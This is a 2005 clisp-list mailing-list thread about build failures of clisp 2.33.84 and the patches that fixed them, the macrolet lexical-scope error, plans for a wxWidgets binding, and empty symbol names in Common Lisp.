> <http://www.podval.org/~sds/clisp/impnotes/modules.html#base-modules>
>
> > srcdir expands to ., and at that point we are currently in
> > debian/build/regexp. I tried passing --srcdir to toplevel configure,
> > but it doesn't get passed to the regexp module configure.
>
> oops...
> please try the appended patches.
> you should _not_ need to pass --srcdir.

The build fails like this:

/home/will/debian/packages/clisp/build/clisp-2.33.84/src/lndir /home/will/debian/packages/clisp/build/clisp-2.33.84/modules/i18n 
i18n
if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; 
( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f 
${cache} ;then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then 
CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} 
--with-dynamic-ffi --with-dynamic-ffi 
--srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; 
else ./configure --with-dynamic-ffi --with-dynamic-ffi 
--srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; fi ) ; fi
configure: error: cannot find sources (i18n.lisp) 
in /home/will/debian/packages/clisp/build/clisp-2.33.84/src
make[1]: *** [i18n] Error 1


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> * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 19:53:56 +0100]:
>
> On Wednesday 06 July 2005 19:35, Sam Steingold wrote:
>
> The build fails like this:
>
> /home/will/debian/packages/clisp/build/clisp-2.33.84/src/lndir /home/will/debian/packages/clisp/build/clisp-2.33.84/modules/i18n 
> i18n
> if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; 
> ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f 
> ${cache} ;then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then 
> CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} 
> --with-dynamic-ffi --with-dynamic-ffi 
> --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; 
> else ./configure --with-dynamic-ffi --with-dynamic-ffi 
> --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; fi ) ; fi
> configure: error: cannot find sources (i18n.lisp) 
> in /home/will/debian/packages/clisp/build/clisp-2.33.84/src
> make[1]: *** [i18n] Error 1

sorry.
the appended patch (against the CVS) works for me with this command:
$ ./configure --build foo/bar/bar


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> * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 19:53:56 +0100]:
>
> On Wednesday 06 July 2005 19:35, Sam Steingold wrote:
>
> The build fails like this:
>
> /home/will/debian/packages/clisp/build/clisp-2.33.84/src/lndir /home/will/debian/packages/clisp/build/clisp-2.33.84/modules/i18n 
> i18n
> if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; 
> ( cache=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f 
> ${cache} ;then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then 
> CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} 
> --with-dynamic-ffi --with-dynamic-ffi 
> --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; 
> else ./configure --with-dynamic-ffi --with-dynamic-ffi 
> --srcdir=/home/will/debian/packages/clisp/build/clisp-2.33.84/src; fi ) ; fi
> configure: error: cannot find sources (i18n.lisp) 
> in /home/will/debian/packages/clisp/build/clisp-2.33.84/src
> make[1]: *** [i18n] Error 1

sorry.
the appended patch (against the CVS) works for me with this command:
$ ./configure --build foo/bar/bar

oops...


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--- makemake.in	06 Jul 2005 13:18:46 -0400	1.568
+++ makemake.in	06 Jul 2005 16:08:10 -0400	
@@ -3263,7 +3263,7 @@
 # Some "make"s don't support empty target lists. Hence the "anymodule".
 echol "anymodule \$(BASE_MODULES) \$(MODULES) : lisp${LEXE} lispinit.mem force modprep.fas clisp.h"
 echotab "${SRCDIR:-${HERE}}lndir ${SRCTOPDIR_}modules/\$@ \$@"
-echotab "if test -f \$@/configure -a '!' -f \$@/config.status ; then cd \$@ ; ( cache="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'"config.cache; if test -f \$\${cache} ; then . \$\${cache}; if test \"\$\${ac_cv_env_CC_set}\" = set; then CC=\"\$\${ac_cv_env_CC_value}\"; export CC; fi; ./configure --cache-file=\$\${cache} \$(MODULE_CONFIGURE_FLAGS); else ./configure \$(MODULE_CONFIGURE_FLAGS); fi ) ; fi"
+echotab "if test -f \$@/configure -a '!' -f \$@/config.status ; then cd \$@ ; ( cache="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'"config.cache; if test -f \$\${cache} ; then . \$\${cache}; if test \"\$\${ac_cv_env_CC_set}\" = set; then CC=\"\$\${ac_cv_env_CC_value}\"; export CC; fi; ./configure --cache-file=\$\${cache} --srcdir=${SRCTOPDIR_}modules/\$@ \$(MODULE_CONFIGURE_FLAGS); else ./configure --srcdir=${SRCTOPDIR_}modules/\$@ \$(MODULE_CONFIGURE_FLAGS); fi ) ; fi"
 EVERY_INCLUDES_DOTS_C=''
 for f in $EVERY_INCLUDES_C $EVERY_INCLUDES_H ; do
   EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}'/$f
--- configure	06 Jul 2005 14:05:28 -0400	1.85
+++ configure	06 Jul 2005 14:17:09 -0400	
@@ -429,7 +429,7 @@
 
 abs_path_pwd () { cd "$1" > /dev/null; ${ABSPATHPWD}; }
 
-maybe_mkdir() { test -d "$1" || mkdir "$1"; }
+maybe_mkdir() { test -d "$1" || mkdir -p "$1"; }
 
 INPLACE=''
 if test -n "$srcdir" ; then
@@ -608,7 +608,7 @@
   fi
 fi
 
-makemake_args="${makemake_args} ${target} ${debug}";
+makemake_args="${makemake_args} ${subdir_srcdir_args} ${target} ${debug}";
 
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 cat <<EOF


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On Wednesday 06 July 2005 22:02, Sam Steingold wrote:

> sorry.
> the appended patch (against the CVS) works for me with this command:
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Works for me. Any idea what's causing the special variable test suite 
failures?


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> * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 22:15:18 +0100]:
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>> sorry.
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>
> Works for me.

thanks. committed.

> Any idea what's causing the special variable test suite failures?

cross-test conflicts.
should be fixed now.


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Subject: [clisp-list] i18n (gettext.c) won't build on Mac OS X 10.4
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Date: Wed Jul  6 16:14:24 2005
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I'm trying to build clisp 2.33.84 on Mac OS X 10.4 (Darwin 8.1.0)
and getting pages of errors in gettext.c in the i18n module.  This
happens with the current CVS source and the archive at:
http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2%3E

Here's an except of the messages:

gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith
-Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I.
-I/sw/include -I.. -c gettext.m.c -o gettext.o
In file included from gettext.c:13:
../clisp.h:220: error: parse error before "obj"
../clisp.h: In function 'check_uint_defaulted':
../clisp.h:220: warning: implicit declaration of function 'missingp'
../clisp.h:220: error: 'obj' undeclared (first use in this function)

Which makes sense, as line 220 of clisp.h is:

static inline unsigned int check_uint_defaulted (object obj, unsigned
int defolt) { return missingp(obj) ? defolt :
I_to_uint(check_uint(obj)); }

and object doesn't seem to defined anywhere.  I was building with:

./configure --prefix=3D/usr/local
cd src
./makemake --with-dynamic-ffi  --prefix=3D/usr/local   > Makefile
[edited Makefile to build clx/mit-clx and added -I/sw/include
and -L/sw/lib lines to CFLAGS and LIBS respectively to use GNU
readline from Fink instead of an ancient, incompatible BSD
version from Apple]
make config.lisp
make

Any ideas?


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Date: Wed Jul  6 16:53:50 2005
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> * David A. Mellis <qzryyvf@tznvy.pbz> [2005-07-07 01:12:36 +0200]:
>
> gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith
> -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
> -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I.
> -I/sw/include -I.. -c gettext.m.c -o gettext.o
> In file included from gettext.c:13:
> ../clisp.h:220: error: parse error before "obj"
> ../clisp.h: In function 'check_uint_defaulted':
> ../clisp.h:220: warning: implicit declaration of function 'missingp'
> ../clisp.h:220: error: 'obj' undeclared (first use in this function)

I do not observe this.

> Which makes sense, as line 220 of clisp.h is:
>
> static inline unsigned int check_uint_defaulted (object obj, unsigned
> int defolt) { return missingp(obj) ? defolt :
> I_to_uint(check_uint(obj)); }
>
> and object doesn't seem to defined anywhere.

my clisp.h has
typedef void * gcv_object_t;
typedef gcv_object_t object;
#define missingp(obj)  (!boundp(obj) || nullp(obj))

can you make your clisp.h available over http?
(please do not send it to the list).

> I was building with:
> ./configure --prefix=/usr/local
> cd src
> ./makemake --with-dynamic-ffi  --prefix=/usr/local   > Makefile
> [edited Makefile to build clx/mit-clx and added -I/sw/include
> and -L/sw/lib lines to CFLAGS and LIBS respectively to use GNU
> readline from Fink instead of an ancient, incompatible BSD
> version from Apple]
> make config.lisp
> make

please try

./configure --prefix=/usr/local --with-module=clx/mit-clx \
            --with-readline-prefix=/sw --build build-dir


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Date: Wed Jul  6 17:13:30 2005
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On 7/7/05, Sam Steingold <sds@gnu.org> wrote:
> my clisp.h has
> typedef void * gcv_object_t;
> typedef gcv_object_t object;
> #define missingp(obj)  (!boundp(obj) || nullp(obj))

Mine doesn't.

> can you make your clisp.h available over http?

http://dam.mellis.org/clisp.h

> please try
>=20
> ./configure --prefix=3D/usr/local --with-module=3Dclx/mit-clx \
>             --with-readline-prefix=3D/sw --build build-dir

I get:

./comment5 noreadline.d | ./gctrigger | ./varbrace > noreadline.c
./comment5 lispbibl.d | sed -e '/^#line/n;ta;:a;s/^%%
//;tb;s/^.*$//;:b' > gen.lispbibl.c
sed: 2: "/^#line/n;ta;:a;s/^%% / ...": undefined label 'a;:a;s/^%%
//;tb;s/^.*$//;:b'

This happened last time as well, but when I reran make it
proceeded beyond that point seemingly without error, though
it may have caused problems later without me realizing it.


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André Vargas Abs da Cruz <andrev@ele.puc-rio.br> writes:

> Changing the subject a bit, does anyone know if is there any work
> going on towards writing a kind of wrapper to the wxWidgets library ?! 
> I can think of a few good reasons to write a 'wxClisp wrapper'
> (similar to wxPython):
>
> - wxWidgets is open-source;
> - It's a cross-platform GUI;
> - Provides a relative easy way to write a graphical application
>
It seems wxWidgets doesn't have any C API library, and most of the features are
provided by means of a C++ class library.  So, until clisp provides ffi support
for C++, writing ffi wrappers is ruled out. 

I think the way to incorporate wxWidgets would be by means of modules. 

--But, how hard is it? 
--Does it requires knowledge of substantial clisp internals? Will it be easy
to look at the other existing modules, and follow them as an example to
provide wxWidgets as a module?
--Approximately how long will it take?

Currently, I am pondering on these questions, any suggestions are welcome.


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You can use the C ffi if you happen to know the mangled name of the
symbol, assuming you could figure out how C++ lets a function know about
<this> (is it a hidden first argument on the stack?).

About how many classes and methods are there in wxWindows? Does it
require multithreading? I'd be interested in helping out with this
project, perhaps we could split the encapsulation (which I assume would
be the bulk of the programming).

Surendra Singhi wrote:

>André Vargas Abs da Cruz <andrev@ele.puc-rio.br> writes:
>
>  
>
>>Changing the subject a bit, does anyone know if is there any work
>>going on towards writing a kind of wrapper to the wxWidgets library ?! 
>>I can think of a few good reasons to write a 'wxClisp wrapper'
>>(similar to wxPython):
>>
>>- wxWidgets is open-source;
>>- It's a cross-platform GUI;
>>- Provides a relative easy way to write a graphical application
>>
>>    
>>
>It seems wxWidgets doesn't have any C API library, and most of the features are
>provided by means of a C++ class library.  So, until clisp provides ffi support
>for C++, writing ffi wrappers is ruled out. 
>
>I think the way to incorporate wxWidgets would be by means of modules. 
>
>--But, how hard is it? 
>--Does it requires knowledge of substantial clisp internals? Will it be easy
>to look at the other existing modules, and follow them as an example to
>provide wxWidgets as a module?
>--Approximately how long will it take?
>
>Currently, I am pondering on these questions, any suggestions are welcome.
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>  
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clisp from CVS head, mingw

Small example:

(defmacro m2 (x &optional (y 0))
  `(print (format nil "first number ~A; last number ~A" ,x ,y)))

(defun f1 (l)
  (loop for e in l collect
    (IF (consp e) (cons 'm2 e) (list 'm2 e))))

(defun f2 (l)
  (defmacro tmp-m1 nil (cons 'progn (f1 l)))
  (tmp-m1))

CL-USER> (f2 '(5 6 (7 8) (9 34)))

"first number 5; last number 0"
"first number 6; last number 0"
"first number 7; last number 8"
"first number 9; last number 34"
"first number 9; last number 34"


but with (macrolet...):

(defun f2 (l)
  (macrolet ((tmp-m1 nil (cons 'progn (f1 l)))) (tmp-m1)))

*** - Invalid access to the value of the lexical variable L from within
a MACROLET definition
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [144]>

It is possible? How?

Thanks.

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Yaroslav Kavenchuk wrote:
>(defun f2 (l)
>  (macrolet ((tmp-m1 nil (cons 'progn (f1 l)))) (tmp-m1)))
>*** - Invalid access to the value of the lexical variable L from within
>a MACROLET definition
The error is correct and I'm thankful CLISP now checks for this. Some month ago, I had a case where clisp silently failed and/or silently generated broken code.
See how your macrolet expander wants to evaluate (f1 l), where l originates from the lexical environment. This is forbidden under ANSI-CL.

What you would like to achieve is
>(f2 '(5 6 (7 8) (9 34)))
>"first number 5; last number 0"
>"first number 6; last number 0"
>"first number 7; last number 8"
>"first number 9; last number 34"
>"first number 9; last number 34"
For that you'll have to pass the list itself to the macro, so the macro can "transform" that list into a list of lists of the form (PRINT (FORMAT NIL ...)), which you can abbreviate using (FORMAT T "...~%" ...).
Typical macro advice is to write this transformation as a function first, then embed it into macrolet.

But then your requirement is still not achievable under compilation. To compile, you must know/compute what to generate. But f2 is a function, with args a priori known only at run-time. How do you expect to create code before that time?

So the next step would be to turn F2 into a macro, but maybe you should tell us more about what you are actually trying to achieve?

>(defun f2 (l)
>  (defmacro tmp-m1 ...
>  (tmp-m1))
Defining a global macro inside a function is likely an indication of something wrong.

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:

<skip>
> So the next step would be to turn F2 into a macro, but maybe you should
> tell us more about what you are actually trying to achieve?
> 

Many thanks for your answer.
It has helped introduce order in my head.

Apparently, I wanted macro as first class object... :)

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> * David A. Mellis <qzryyvf@tznvy.pbz> [2005-07-07 02:11:38 +0200]:
>
> ./comment5 noreadline.d | ./gctrigger | ./varbrace > noreadline.c
> ./comment5 lispbibl.d | sed -e '/^#line/n;ta;:a;s/^%%
> //;tb;s/^.*$//;:b' > gen.lispbibl.c
> sed: 2: "/^#line/n;ta;:a;s/^%% / ...": undefined label 'a;:a;s/^%%
> //;tb;s/^.*$//;:b'
>
> This happened last time as well, but when I reran make it
> proceeded beyond that point seemingly without error, though
> it may have caused problems later without me realizing it.

this is the root of your problem.
gen.lispbibl.c is used to generate clisp.h,
and your gen.lispbibl.c was not generated correctly,
so your clisp.h is broken.

apparently your sed is deficient (as in "does not support all gnu extensions").
any idea how to modify the sed command?

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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-06 22:49:19 -0700]:
>
> I think the way to incorporate wxWidgets would be by means of modules. 
>
> --But, how hard is it?

not hard at all.
I wrote quite a few modules and it was fairly easy,
especially since I used utils/modprep.lisp.

> --Does it requires knowledge of substantial clisp internals?

no.
you just need to mind "GC-safety"
<http://www.podval.org/~sds/clisp/impnotes/gc-safety.html>

if you need to access internals of an object (e.g., an element of a
vector) you either funcall a lisp function (see
modules/clx/new-clx/clx.f) or you access the data slot explicitly
(gaining speed but losing flexibility of displaced arrays &c),
(see modules/berkeley-db/bdb.c).

> --Will it be easy to look at the other existing modules, and follow
> them as an example to provide wxWidgets as a module?

yes.

> --Approximately how long will it take?

it depends on your skill and the size of wxWidgets. :-)


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Date: Thu Jul  7 12:27:04 2005
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Sam Steingold writes:
> > * David A. Mellis <qzryyvf@tznvy.pbz> [2005-07-07 02:11:38 +0200]:
> >
> > ./comment5 noreadline.d | ./gctrigger | ./varbrace > noreadline.c
> > ./comment5 lispbibl.d | sed -e '/^#line/n;ta;:a;s/^%%
> > //;tb;s/^.*$//;:b' > gen.lispbibl.c
> > sed: 2: "/^#line/n;ta;:a;s/^%% / ...": undefined label 'a;:a;s/^%%
> > //;tb;s/^.*$//;:b'
> >
> > This happened last time as well, but when I reran make it
> > proceeded beyond that point seemingly without error, though
> > it may have caused problems later without me realizing it.
> 
> this is the root of your problem.
> gen.lispbibl.c is used to generate clisp.h,
> and your gen.lispbibl.c was not generated correctly,
> so your clisp.h is broken.
> 
> apparently your sed is deficient (as in "does not support all gnu extensions").
> any idea how to modify the sed command?

About GNU sed, neither: man sed or: info sed tell anything about ';'.  
GNU sed version 3.02.80


diff -a -u -r1.570 makemake.in
--- makemake.in	6 Jul 2005 22:20:32 -0000	1.570
+++ makemake.in	7 Jul 2005 15:58:51 -0000
@@ -2512,6 +2512,6 @@
 
 for f in lispbibl; do
   echol "gen.${f}.c : ${f}.d comment5${HEXE}"
-  echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/n;ta;:a;s/^%% //;tb;s/^.*\$\$//;:b' > gen.${f}.c"
+  echotabpipe "\$(COMMENT5) ${f}.d${CHSCONVERT_FILTER} | sed -e '/^#line/{n' -e 'ta' -e ':a' -e 's/^%% //' -e 'tb' -e 's/^.*\$\$//' -e ':b' -e '}' > gen.${f}.c"
   echol
 done

-- 
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On 7/7/05, Pascal Bourguignon <pjb@informatimago.com> wrote:
> diff -a -u -r1.570 makemake.in
> --- makemake.in 6 Jul 2005 22:20:32 -0000       1.570
> +++ makemake.in 7 Jul 2005 15:58:51 -0000
> @@ -2512,6 +2512,6 @@

I applied the patch (against the latest in CVS and a fresh untar
of the archive from http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2
Building with:

./configure --prefix=3D/usr/local --with-module=3Dclx/mit-clx
--with-readline-prefix=3D/sw --build build-dir

doesn't give me the sed error, but I get:

gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith
-Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c
stream.c
stream.d: In function 'lisp_completion':
stream.d:8916: warning: implicit declaration of function 'rl_refresh_line'
stream.d: In function 'history_last':
stream.d:9400: warning: implicit declaration of function 'history_list'
stream.d:9400: warning: initialization makes pointer from integer without a=
 cast
stream.d: In function 'rd_ch_terminal3':
stream.d:9435: error: 'rl_basic_quote_characters' undeclared (first
use in this function)
stream.d:9435: error: (Each undeclared identifier is reported only once
stream.d:9435: error: for each function it appears in.)
stream.d:9490: warning: passing argument 1 of 'free' discards
qualifiers from pointer target type
stream.d: In function 'make_terminal_stream_':
stream.d:9715: error: 'rl_gnu_readline_p' undeclared (first use in
this function)
stream.d: In function 'init_streamvars':
stream.d:14936: warning: implicit declaration of function 'rl_named_functio=
n'
stream.d:14936: warning: passing argument 2 of 'rl_bind_key' makes
pointer from integer without a cast
stream.d:14939: warning: assignment from incompatible pointer type
stream.d:14940: warning: implicit declaration of function 'rl_variable_bind=
'
stream.d:14943: warning: implicit declaration of function 'META'
stream.d:14943: warning: passing argument 2 of 'rl_add_defun' from
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stream.d:14944: warning: passing argument 2 of 'rl_add_defun' from
incompatible pointer type
stream.d: In function 'rl_memory_abort':
stream.d:15037: error: 'rl_gnu_readline_p' undeclared (first use in
this function)
make: *** [stream.o] Error 1


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Hello Scott,


wxCL (http://sourceforge.net/projects/wxlisp) is an inactive project hosted on
source forge which exactly intended to do what we are planning. But it seems
that it never took off, they never progressed beyond the planning stage. I
have contacted one of the admins of the project and I am waiting for his
response. He has written an article describing the project and the steps which
will be required for writing such a library. This is the link to that article
http://www.olivfabric.de/content/on-wxcl.html#002


Scott Williams <ortmage@gmx.net> writes:
> You can use the C ffi if you happen to know the mangled name of the
> symbol, assuming you could figure out how C++ lets a function know about
> <this> (is it a hidden first argument on the stack?).

I asked people on the #C++ irc channel about the <this> pointer question, 
and what they told me was that it is implementation specific. For example,
msvc pass this pointer through the eax register.

A better workaround would be to write a C wrapper. And this is exactly what is
done by elj project - wxEiffel
(http://elj.sourceforge.net/projects/gui/ewxw/). They have written a C wrapper
for all the classes which is then used by the Eiffel language ffi. But it is
also an inactive project now (last change was sometime in 2003).

The above set of C wrappers are also present in wxC, which is a subproject of
wxHaskell. They almost use the same C code with some haskell specific minor
optimizations. wxHaskell (http://wxhaskell.sourceforge.net/index.html)
Repository: (http://cvs.sourceforge.net/viewcvs.py/wxhaskell/)

I think the wxEiffel would be a good starting place to start.

>
> About how many classes and methods are there in wxWindows? Does it
> require multithreading? I'd be interested in helping out with this

There are about 150 classes, but there are much fewer classes(files) with
wrappers in the wxEiffel. 

> project, perhaps we could split the encapsulation (which I assume would
> be the bulk of the programming).

Instead of doing the ffi declarations manually, we should try to automate it,
as much as possible.

The choices are
"Ah2cl is a (very (very)) simple and naive C header parser"
 (http://hocwp.free.fr/ah2cl/)

Or, I would rather suggest going with Swig (http://www.swig.org/). Currently swig
can be used for generating Allegro CL code, but it should not be hard to
extend it to generate clisp.


>
> Surendra Singhi wrote:
>
>>André Vargas Abs da Cruz <andrev@ele.puc-rio.br> writes:
>>
>>  
>>
>>>Changing the subject a bit, does anyone know if is there any work
>>>going on towards writing a kind of wrapper to the wxWidgets library ?! 
>>>I can think of a few good reasons to write a 'wxClisp wrapper'
>>>(similar to wxPython):
>>>
>>>- wxWidgets is open-source;
>>>- It's a cross-platform GUI;
>>>- Provides a relative easy way to write a graphical application
>>>

-- 
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David A. Mellis writes:
> On 7/7/05, Pascal Bourguignon <pjb@informatimago.com> wrote:
> > diff -a -u -r1.570 makemake.in
> > --- makemake.in 6 Jul 2005 22:20:32 -0000       1.570
> > +++ makemake.in 7 Jul 2005 15:58:51 -0000
> > @@ -2512,6 +2512,6 @@
> 
> I applied the patch (against the latest in CVS and a fresh untar
> of the archive from http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2
> Building with:
> 
> ./configure --prefix=/usr/local --with-module=clx/mit-clx
> --with-readline-prefix=/sw --build build-dir
> 
> doesn't give me the sed error, but I get:
> 
> gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith
> -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
> -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c
> stream.c
> stream.d: In function 'lisp_completion':
> stream.d:8916: warning: implicit declaration of function 'rl_refresh_line'
> stream.d: In function 'history_last':
> stream.d:9400: warning: implicit declaration of function 'history_list'
> stream.d:9400: warning: initialization makes pointer from integer without a cast

Yes, it seems I didn't get the right sed expression.  Actually, I'm
not sure of the semantics of the original sed, since I've not found
any reference of ';' in the documentation I have...

I'll have to compare the output from Linux where it compiles.  
Stay tuned ;-)

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clisp from CVS head, mingw

CL-USER> (defun CL-USER:: () "OOPS!")
||
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"OOPS!"

Symbol maybe empty? :)

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Yaroslav Kavenchuk writes:
> clisp from CVS head, mingw
> 
> CL-USER> (defun CL-USER:: () "OOPS!")
> ||
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> "OOPS!"
> 
> Symbol maybe empty? :)

Yes. Isn't it nice?

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Yaroslav Kavenchuk writes:
> clisp from CVS head, mingw
> 
> CL-USER> (defun CL-USER:: () "OOPS!")
> ||
> CL-USER> (CL-USER::)
> "OOPS!"
> 
> Symbol maybe empty? :)

Yes. Isn't it nice?

The package name can be empty too (it's taken to be KEYWORD):

[40]> (defun :: () "Re oops!")
:||
[41]> (::)
"Re oops!"


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Surendra,

thanks for the great research job about how other languages attempt to =
interface to wxwidgets. It's no surprise most (if not all?) opt for a C =
approach rather than to C++. C++ is to much tied to a specific compiler =
to be useful across libraries (and you know have experience with =
bgd.dll about the kind of problems one can encounter with different =
compilers even in C ;)

I've not had time to browse these URLs. I've also never taken time to =
look at the automated FFI wrapper generators (ffigen, swig and others).
One important thing to keep in mind is: if all you have is *.h files, =
you are not very far ahead. The expressivity of *.h files is extremely =
poor. E.g. you don't know which parameters are : or :out. The CLISP FFI =
is quite expressive, but you'd not be using that power if all you have =
is a naive .htoFFI converter.

I've heard that SWIG can make use of annotated .h files which describe =
the missing parts. But who writes such SWIG-conform .h files? I've =
never encountered one.

Here's an example from MS-Windows. The online library help cleary =
mentions IN and OUT parameters, therefore I can easily write the =
best-fit description for bytesread.
(def-call-out ReadFile (:name"ReadFile")(:library "kernel32.dll")
  (:return-type boolean) (:language :stdc-stdcall)
  (:arguments (handle handle) (buffer c-pointer)
	      (bytestoread dword)
            (bytesread (c-ptr dword) :out)
	      (overlapped c-pointer)))
It would be quite stupid IMHO to have to use (* INT) as a type and then
(with-c-var (bytes-read int)
  (ReadFile ... (c-var-address bytes-read) ...))
[which is what I call the low-levelness of UFFI]
instead of taking advantage of CLISP's expressivity.

I recommend that you look closely at the Haskell wx stuff. I haven't =
looked at it myself, but the Haskell FFI has ideas I share and =
excellent designers.

And at some point, you will realize that the power of the Lisp =
interface you create does not come from whatever the FFI looks like, =
but from how useable the Lisp-level abstractions you create are to the =
Lisp programmer =3D user of your library. That's my summary of =
observing various past attempts of interfacing to GUI and other =
libraries (e.g. there have been like a dozen interaces to tk, various =
forms of X, Motif etc.).

There's also much more to be said on the C vs. C++ issue, depending on =
how wxwidget expects to make use of widgets, and inheritance, and =
exception handling, and events, and signaling. But whatever the =
details, I believe a Lisp look&feel would be most satisfactory.
My roommate is a Smalltalk guy. He enjoys using CORBA very much and =
just told me that what he likes best is that after adding #pragma =
class+selector=3Dxyz to the .idl, he never sees CORBA again. It =
completely disappears and all he sees are typical Smalltalk objects. I =
think that's a sign of a good binding :-)

I wish you good luck,
	J=F6rg H=F6hle


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Pascal Bourguignon wrote:

>>CL-USER> (defun CL-USER:: () "OOPS!")
>>||
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>>
>>Symbol maybe empty? :)
> 
> 
> Yes. Isn't it nice?

Very nice :)

> 
> The package name can be empty too (it's taken to be KEYWORD):
> 
> [40]> (defun :: () "Re oops!")
> :||
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>Or, I would rather suggest going with Swig (http://www.swig.org/). 
>Currently swig
>can be used for generating Allegro CL code, but it should not be hard to
>extend it to generate clisp.

I have use swig (csharp module) to produce ffi and c++ classes to clos 
mapping for wxWidgets library
The library is in a usable state (tested on windows xp wtih clisp 2.33) and 
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Yaroslav Kavenchuk writes:
> Pascal Bourguignon wrote:
> 
> >>CL-USER> (defun CL-USER:: () "OOPS!")
> >>||
> >>CL-USER> (CL-USER::)
> >>"OOPS!"
> >>
> >>Symbol maybe empty? :)
> > 
> > 
> > Yes. Isn't it nice?
> 
> Very nice :)
> 
> > 
> > The package name can be empty too (it's taken to be KEYWORD):
> > 
> > [40]> (defun :: () "Re oops!")
> > :||
> > [41]> (::)
> > "Re oops!"
> > 
> 
> How mach in (c)Lisp the same "doings"?

You mean Common Lisp.

Not very much.  The mapping of an empty package name to KEYWORD is
implementation dependant.  It's not forbiden by the standard, but it's
not specified either. (Eg. the standard allows implementation specific
nicknames to standard packages, and it happens that clisp nicknames
the package named "KEYWORD" with "", to enable this trick).

So it works like this in the current version of clisp, but it might
not work later, and it won't work in some other implementations.



Now, about reading cl-user:: and ::
the readers of other implementations may raise an error such as:
(COMMON-LISP::%READER-ERROR
 #<Two-Way Stream, Input = #<Synonym Stream to SYSTEM:*STDIN*>, 
  Output = #<Synonym Stream to SYSTEM:*STDOUT*>>
 "Illegal terminating character after a colon, ~S"
 #\Space)
because the specifications for the reader are not really very precise
(in general the specifications of Common Lisp are not really very
precise).

But the creation of an empty-named symbol can be done portably, using
these escape: ||

So both these definitions are correct and portable:

(defun ||  () "Oops!")
(defun :|| () "Oops!")
(values (||) (:||))

You can also name a function :-

(defun :- (&optional arg) (declare (ignore arg)) "Nice!")
(values (:-) (:-(  ))) ;-)


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> * David A. Mellis <qzryyvf@tznvy.pbz> [2005-07-08 02:07:09 +0200]:
>
> On 7/7/05, Pascal Bourguignon <pjb@informatimago.com> wrote:
>> diff -a -u -r1.570 makemake.in
>> --- makemake.in 6 Jul 2005 22:20:32 -0000       1.570
>> +++ makemake.in 7 Jul 2005 15:58:51 -0000
>> @@ -2512,6 +2512,6 @@
>
> I applied the patch (against the latest in CVS and a fresh untar
> of the archive from http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2
> Building with:
>
> ./configure --prefix=/usr/local --with-module=clx/mit-clx
> --with-readline-prefix=/sw --build build-dir
>
> doesn't give me the sed error, but I get:
>
> gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith
> -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
> -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -c
> stream.c
> stream.d: In function 'lisp_completion':
> stream.d:8916: warning: implicit declaration of function
> 'rl_refresh_line'

for some reason you are still getting the wrong readline library.
could you please take a look at build-dir/Makefile, build-dir/makemake
and build-dir/config* and try to figure out where the readline come
from?

I think you might need
--with-libreadline-prefix=/sw
instead of
--with-readline-prefix=/sw
(I am always confused whether one needs "lib" there).

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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-07 20:57:46 -0700]:
>
> Or, I would rather suggest going with Swig
> (http://www.swig.org/). Currently swig can be used for generating
> Allegro CL code, but it should not be hard to extend it to generate
> clisp.

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Hi,

incidentally, somebody in comp.lang.lisp reported having written a library using the symbol referred to via :: as a means to add type declarations to Lisp code. I can't remember the exact syntax, but maybe it's:
(my-let (x :: integer) &body) or some such

>Yaroslav Kavenchuk writes:
>> Pascal Bourguignon wrote:
>> > [41]> (::)
>> > "Re oops!"
>> How mach in (c)Lisp the same "doings"?
>Not very much.
>So it works like this in the current version of clisp, but it might
